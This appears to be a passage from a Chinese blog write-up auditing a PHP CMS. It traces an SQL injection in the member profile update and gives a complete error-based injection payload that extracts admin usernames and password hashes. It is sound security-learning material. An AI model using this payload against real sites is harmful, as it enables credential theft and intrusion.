    168     public function password_save(){
    169         $this->member_info();
    170         $userid=intval(Cookie::_getcookie('member_userid'));
    171         $oldpassword=$_POST['oldpassword'];
    172         $password=$_POST['password'];
    173         $password2=$_POST['password2'];
    174         if(empty($oldpassword)||empty($password2)||empty($password)){
    175             showmsg(C('material_not_complete'),'-1');
    176         }
    177         if(!strlength($password,5)){
    178             showmsg(C('password').C('str_len_error').'5','-1');
    179         }
    180         if($password!=$password2){
    181             showmsg(C('password_different'),'-1');
    182         }
    183         
    184         //判断旧密码是否正确
    185         $oldpassword=md5(md5($oldpassword));
    186         $rs=$this->mysql->get_one("select * from ".DB_PRE."member where `userid`='$userid'");
    187         if($oldpassword!=$rs['password']){
    188             showmsg(C('oldpassword_error'),'-1');
    189         }
    190         
    191         //更新密码
    192         $password=md5(md5($password));
    193         $sql="update ".DB_PRE."member set password='{$password}' where userid='{$userid}'";
    194         $this->mysql->query($sql);
    195         
    196         showmsg(C('update_success'),'-1');
    197         
    198     }
    199     
    200     public function logout(){
    201         Cookie::_delcookie(array('name'=>'member_user'));
    202         Cookie::_delcookie(array('name'=>'member_userid'));
    203         Cookie::_delcookie(array('name'=>'member_groupid'));
    204         showmsg(C("login_out_success"),"index.php?m=member&f=login");
    205     }
    206     
    207     //判断会员是否登录并获取会员信息
    208     private function member_info(){
    209         $user=safe_html(Cookie::_getcookie('member_user'));
    210         $userid=intval(Cookie::_getcookie('member_userid'));
    211         if(empty($user)||empty($userid)){
    212             showmsg(C("admin_not_exist"),"index.php?m=member&f=login");
    213         }
    214         $info=$this->mysql->get_one("select * from ".DB_PRE."member where `userid`=$userid");
    215         
    216         assign('member',$info);
    217     }
    218 }
    219 ?>
    View Code

    c.1、跟踪输入变量fileds

    c.2、$fields传入$field_sql中,跟踪$field_sql  -->执行SQL语句

    注册账号,抓取数据包

    再次注册,截断输出

    再次注册,截断SQL语句,判断是否能正常输出

     

    update c_member set `truename`='rrrr',`email`='rrrrrr'' where userid=6  【此处存在注入,构造注入语句】

    query()产生报错注入  【数据库查询出错,没有马上终止,而是输出了错误信息】

     1     //执行查询
     2     function query($sql){
     3         if(!$res=@mysql_query($sql,$this->ConnStr)){
     4             echo '操作数据库失败'.mysql_error()."<br>sql:{$sql}";
     5         }
     6         return $res;
     7     }
     8     
     9     //sql报错信息
    10     function get_error(){
    11         $err=mysql_error($this->ConnStr);
    12         return $err;
    13     }
    View Code

    报错注入代码,用于构造注入语句

     (select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x3a,encrypt,0x27,0x7e)from c_admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

     【c_admin为表,0x3a:意思为打印】

    测试是否会执行出错

    拼接得到注入语句  【修改email的值】

    update c_member set `truename`='rrrr',`email`='12345'' where userid=6 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x3a,encrypt,0x27,0x7e)from c_admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

    测试

    测试EXP  【在邮箱处填写exp】

    先还原语句

    2345'' where userid=6 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x3a,encrypt,0x27,0x7e)from c_admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

     

    ###因为环境问题,也可能是操作上的失误,导致错误信息没有正常输出,只能借用教程PPT中的图片

  • 相关阅读:
    list中的对象或者map中的版本号排序 version排序
    spring boot jpa 复杂查询 动态查询 连接and和or 模糊查询 分页查询
    java 8 list的stream操作 list中的对象中的某一个成员取出转为该成员的list,以及对象过滤,筛选某个属性后的成员
    map或者对象转换
    Feign代理必须加value否则启动失败
    Eclipse中.setting目录下文件介绍
    远程仓库版本回退方法
    SpringMVC异常处理机制
    android studio启动和项目编译问题
    CentOS6.5安装php7+nginx+mysql实现安装WordPress
  • 原文地址:https://www.cnblogs.com/zixuanfy/p/6106833.html
Copyright © 2020-2023  润新知